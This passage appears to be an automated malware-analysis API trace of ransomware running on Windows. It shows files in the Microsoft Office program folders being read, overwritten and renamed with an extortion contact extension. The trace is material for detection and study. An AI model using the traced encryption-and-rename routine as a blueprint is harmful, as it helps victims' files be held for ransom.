Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0161.494] GetProcessHeap () returned 0x630000 [0161.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70b7a78 [0161.494] GetProcessHeap () returned 0x630000 [0161.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7328408 [0161.494] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.494] ReadFile (in: hFile=0x694, lpBuffer=0x70b7a78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b7a78*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.739] GetProcessHeap () returned 0x630000 [0166.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0166.740] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.740] WriteFile (in: hFile=0x694, lpBuffer=0x7328408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.740] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.740] WriteFile (in: hFile=0x694, lpBuffer=0x7333807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333807*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.740] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.740] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.740] CloseHandle (hObject=0x694) returned 1 [0166.741] GetProcessHeap () returned 0x630000 [0166.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0166.741] GetProcessHeap () returned 0x630000 [0166.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b7a78 | out: hHeap=0x630000) returned 1 [0166.741] GetProcessHeap () returned 0x630000 [0166.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0166.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x29549b57, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0xce07496, dwReserved1=0x70b7a70, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0166.742] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0166.742] Sleep (dwMilliseconds=0x1) [0167.543] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap", len=0x65 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap") returned 1 [0167.543] GetProcessHeap () returned 0x630000 [0167.543] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b80) returned 0x707d3d0 [0167.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\powerviewres.no.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0167.544] CloseHandle (hObject=0x6a4) returned 1 [0167.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\powerviewres.no.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\powerviewres.no.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d4, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.no.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5040 [0167.548] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0167.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\powerviewres.no.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0167.548] GetProcessHeap () returned 0x630000 [0167.548] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7328408 [0167.549] GetProcessHeap () returned 0x630000 [0167.549] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7333838 [0167.549] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.549] ReadFile (in: hFile=0x6a4, lpBuffer=0x7328408, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.478] GetProcessHeap () returned 0x630000 [0178.478] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0178.478] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.478] WriteFile (in: hFile=0x6a4, lpBuffer=0x7333838*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333838*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.479] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.479] WriteFile (in: hFile=0x6a4, lpBuffer=0x733ec37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec37*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.481] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.481] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.481] CloseHandle (hObject=0x6a4) returned 1 [0178.481] GetProcessHeap () returned 0x630000 [0178.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333838 | out: hHeap=0x630000) returned 1 [0178.481] GetProcessHeap () returned 0x630000 [0178.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0178.481] GetProcessHeap () returned 0x630000 [0178.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0178.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3055501c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e5f8, dwReserved0=0xce07496, dwReserved1=0x7328400, cFileName="PowerViewRes.no.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5000 [0178.482] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0178.482] Sleep (dwMilliseconds=0x1) [0178.492] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll") returned 1 [0178.493] GetProcessHeap () returned 0x630000 [0178.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac0) returned 0x707d3d0 [0178.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0178.493] CloseHandle (hObject=0x6a4) returned 1 [0178.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0178.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0178.494] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d54c0 [0178.495] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0178.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0178.495] GetProcessHeap () returned 0x630000 [0178.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x705b9d0 [0178.495] GetProcessHeap () returned 0x630000 [0178.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7328408 [0178.495] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.496] ReadFile (in: hFile=0x6a4, lpBuffer=0x705b9d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0186.907] GetProcessHeap () returned 0x630000 [0186.908] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0186.908] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.908] WriteFile (in: hFile=0x6a4, lpBuffer=0x7328408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0186.909] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.909] WriteFile (in: hFile=0x6a4, lpBuffer=0x7333807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333807*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0186.909] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.909] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0186.909] CloseHandle (hObject=0x6a4) returned 1 [0186.909] GetProcessHeap () returned 0x630000 [0186.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0186.909] GetProcessHeap () returned 0x630000 [0186.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0186.909] GetProcessHeap () returned 0x630000 [0186.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0186.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x355acb17, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xce07496, dwReserved1=0x705b9c8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4ec0 [0186.910] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0186.910] Sleep (dwMilliseconds=0x1) [0188.858] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx", len=0x51 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx") returned 1 [0188.858] GetProcessHeap () returned 0x630000 [0188.858] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2998) returned 0x707d3d0 [0188.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0188.860] CloseHandle (hObject=0x68c) returned 1 [0188.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0188.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0188.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fe8, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASICS~2.FIR")) returned 0x6d4e00 [0188.862] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0188.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0188.863] GetProcessHeap () returned 0x630000 [0188.863] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3001) returned 0x6fb7418 [0188.863] GetProcessHeap () returned 0x630000 [0188.863] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3001) returned 0x71e08c0 [0188.864] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.864] ReadFile (in: hFile=0x68c, lpBuffer=0x6fb7418, nNumberOfBytesToRead=0x2fe0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7418*, lpNumberOfBytesRead=0x3cfff0c*=0x2fe0, lpOverlapped=0x0) returned 1 [0191.162] GetProcessHeap () returned 0x630000 [0191.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0191.162] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.162] WriteFile (in: hFile=0x68c, lpBuffer=0x71e08c0*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e08c0*, lpNumberOfBytesWritten=0x3cfff0c*=0x2fe0, lpOverlapped=0x0) returned 1 [0191.163] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.163] WriteFile (in: hFile=0x68c, lpBuffer=0x71e389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e389f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.163] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.163] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.163] CloseHandle (hObject=0x68c) returned 1 [0191.163] GetProcessHeap () returned 0x630000 [0191.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e08c0 | out: hHeap=0x630000) returned 1 [0191.163] GetProcessHeap () returned 0x630000 [0191.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7418 | out: hHeap=0x630000) returned 1 [0191.163] GetProcessHeap () returned 0x630000 [0191.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0191.164] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37e2eaca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x300c, dwReserved0=0xce07496, dwReserved1=0x6fb7410, cFileName="basicsimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASICS~2.FIR")) returned 0x6d52c0 [0191.164] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0191.164] Sleep (dwMilliseconds=0x1) [0192.573] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", len=0x48 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx") returned 1 [0192.573] GetProcessHeap () returned 0x630000 [0192.573] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47f8) returned 0x7133a90 [0192.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 